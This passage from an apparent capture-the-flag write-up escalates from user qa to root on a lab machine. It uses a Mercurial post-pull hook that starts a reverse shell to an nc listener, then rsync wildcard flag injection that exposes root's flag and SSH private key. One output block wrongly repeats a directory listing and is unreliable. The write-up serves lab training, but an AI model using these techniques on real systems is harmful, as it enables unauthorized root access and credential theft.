distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. qa@yummy:~$ id uid=1001(qa) gid=1001(qa) groups=1001(qa)
User Flag:
qa@yummy:~$ cat user.txt f1855900************************
Escalation from qa:
Sudo Rights:
qa@yummy:~$ sudo -l [sudo] password for qa: Matching Defaults entries for qa on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User qa may run the following commands on localhost: (dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa can run hg pull as dev. The command would pull /home/dev/app-production/ into the current repository. There’s also a Mercurial config file found in its home directory:
qa@yummy:~$ ls -la total 44 drwxr-x--- 6 qa qa 4096 Sep 30 07:22 . drwxr-xr-x 4 root root 4096 May 27 2024 .. lrwxrwxrwx 1 root root 9 May 27 2024 .bash_history -> /dev/null -rw-r--r-- 1 qa qa 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 qa qa 3771 May 27 2024 .bashrc drwx------ 2 qa qa 4096 Feb 21 16:51 .cache drwx------ 3 qa qa 4096 May 28 2024 .gnupg -rw-rw-r-- 1 qa qa 728 May 29 2024 .hgrc drwxrwxr-x 3 qa qa 4096 May 27 2024 .local -rw-r--r-- 1 qa qa 807 Mar 31 2024 .profile drwx------ 2 qa qa 4096 May 28 2024 .ssh -rw-r----- 1 root qa 33 Feb 21 11:50 user.txt qa@yummy:~$ cat .hgrc # example user config (see 'hg help config' for more info) [ui] # name and email, e.g. # username = Jane Doe <jdoe@example.com> username = qa # We recommend enabling tweakdefaults to get slight improvements to # the UI over time. Make sure to set HGPLAIN in the environment when # writing scripts! # tweakdefaults = True # uncomment to disable color in command output # (see 'hg help color' for details) # color = never # uncomment to disable command output pagination # (see 'hg help pager' for details) # paginate = never [extensions] # uncomment the lines below to enable some popular extensions # (see 'hg help extensions' for more info) # # histedit = # rebase = # uncommit = [trusted] users = qa, dev groups = qa, dev
Mercurial Hooks:
Mercurial can have hooks configured to run after a pull. According to the docs, these are configured by a hgrc file placed within the .hg/ folder.
I’ll make a copy of the config file found in the home directory and add the following lines. It should run my reverse shell script after making a pull.
[hooks]
post-pull = /tmp/rev.sh
Note that the config file and the .hg folder must be accessible by dev, otherwise it won’t work. I did it the lazy way of creating a folder in /tmp and granting 777 permissions for everything within it.
qa@yummy:/tmp/exploit$ ls -la .hg total 12 drwxrwxrwx 2 qa qa 4096 Feb 21 17:17 . drwxrwxrwx 3 qa qa 4096 Feb 21 17:17 .. -rwxrwxrwx 1 qa qa 761 Feb 21 17:12 hgrc
I’ll run the sudo command again, and it hangs.
qa@yummy:/tmp/exploit$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/ pulling from /home/dev/app-production/ requesting all changes adding changesets adding manifests adding file changes added 6 changesets with 129 changes to 124 files new changesets f54c91c7fae8:6c59496d5251 (run 'hg update' to get a working copy)
On my listener, a shell as dev is caught.
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 57190 I'm out of office until February 22th, don't call me dev@yummy:/tmp/exploit$ id uid=1000(dev) gid=1000(dev) groups=1000(dev)
Escalation from dev:
Sudo rsync:
dev@yummy:~$ sudo -l Matching Defaults entries for dev on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User dev may run the following commands on localhost: (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
dev can run a specific rsync command as root with no password. The command contains a wildcard, making it possible to inject dangerous flags within it. There’s also a GTFOBins page for rsync, but its payload didn’t work here.
Looking at rsync’s docs, there’s two more dangerous flags that can be useful here:
-L, which makesrsynccopy the actual files instead of symlinks; and--chmod:777, which grants 777 permissions for all the files copied.
Combining these two flags would grant the ability to read any files in the filesystem. For example, I can create a symlink in app-production pointing to the root flag:
dev@yummy:~/app-production$ ln -s /root/root.txt rootflag
After running the rsync command, the root flag is copied to /opt/app and is globally readable:
dev@yummy:~$ sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/ dev@yummy:~$ ls -la /opt/app total 44 drwxr-xr-x 7 root www-data 4096 Feb 21 17:44 . drwxr-xr-x 3 root root 4096 Sep 30 08:16 .. -rwxrwxrwx 1 dev dev 10037 May 28 2024 app.py drwxrwxrwx 3 dev dev 4096 May 28 2024 config drwxrwxrwx 3 dev dev 4096 May 28 2024 middleware drwxrwxr-x 2 root root 4096 Sep 25 14:00 __pycache__ -rwxrwxrwx 1 root root 33 Feb 21 11:50 rootflag drwxrwxrwx 6 dev dev 4096 May 28 2024 static drwxrwxrwx 2 dev dev 4096 May 28 2024 templates
The same can be done for root’s SSH key:
dev@yummy:~/app-production$ ln -s /root/.ssh/id_rsa sshkey
dev@yummy:~$ sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/ dev@yummy:~$ ls -la /opt/app total 44 drwxr-xr-x 7 root www-data 4096 Feb 21 17:48 . drwxr-xr-x 3 root root 4096 Sep 30 08:16 .. -rwxrwxrwx 1 dev dev 10037 May 28 2024 app.py drwxrwxrwx 3 dev dev 4096 May 28 2024 config drwxrwxrwx 3 dev dev 4096 May 28 2024 middleware drwxrwxr-x 2 root root 4096 Sep 25 14:00 __pycache__ -rwxrwxrwx 1 root root 399 May 28 2024 sshkey drwxrwxrwx 6 dev dev 4096 May 28 2024 static drwxrwxrwx 2 dev dev 4096 May 28 2024 templates dev@yummy:~$ cat /opt/app/sshkey total 44 drwxr-xr-x 7 root www-data 4096 Feb 21 17:48 . drwxr-xr-x 3 root root 4096 Sep 30 08:16 .. -rwxrwxrwx 1 dev dev 10037 May 28 2024 app.py drwxrwxrwx 3 dev dev 4096 May 28 2024 config drwxrwxrwx 3 dev dev 4096 May 28 2024 middleware drwxrwxr-x 2 root root 4096 Sep 25 14:00 __pycache__ -rwxrwxrwx 1 root root 399 May 28 2024 sshkey drwxrwxrwx 6 dev dev 4096 May 28 2024 static drwxrwxrwx 2 dev dev 4096 May 28 2024 templates
I’ll use it to SSH in as root and grab the flag:
┌──(ch3ng㉿localhost)-[~/machines/yummy] └─$ ssh root@yummy.htb -i root.key Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts. Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Feb 21 05:50:07 PM UTC 2025 System load: 0.78 Processes: 281 Usage of /: 62.0% of 5.56GB Users logged in: 2 Memory usage: 22% IPv4 address for eth0: 10.129.195.30 Swap usage: 0% Expanded Security Maintenance for Applications is not enabled. 10 updates can be applied immediately. 10 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings You have new mail. Last login: Fri Feb 21 17:50:08 2025 from 10.10.14.24 root@yummy:~# id uid=0(root) gid=0(root) groups=0(root)
Root Flag:
root@yummy:~# cat root.txt 33ad4f1f************************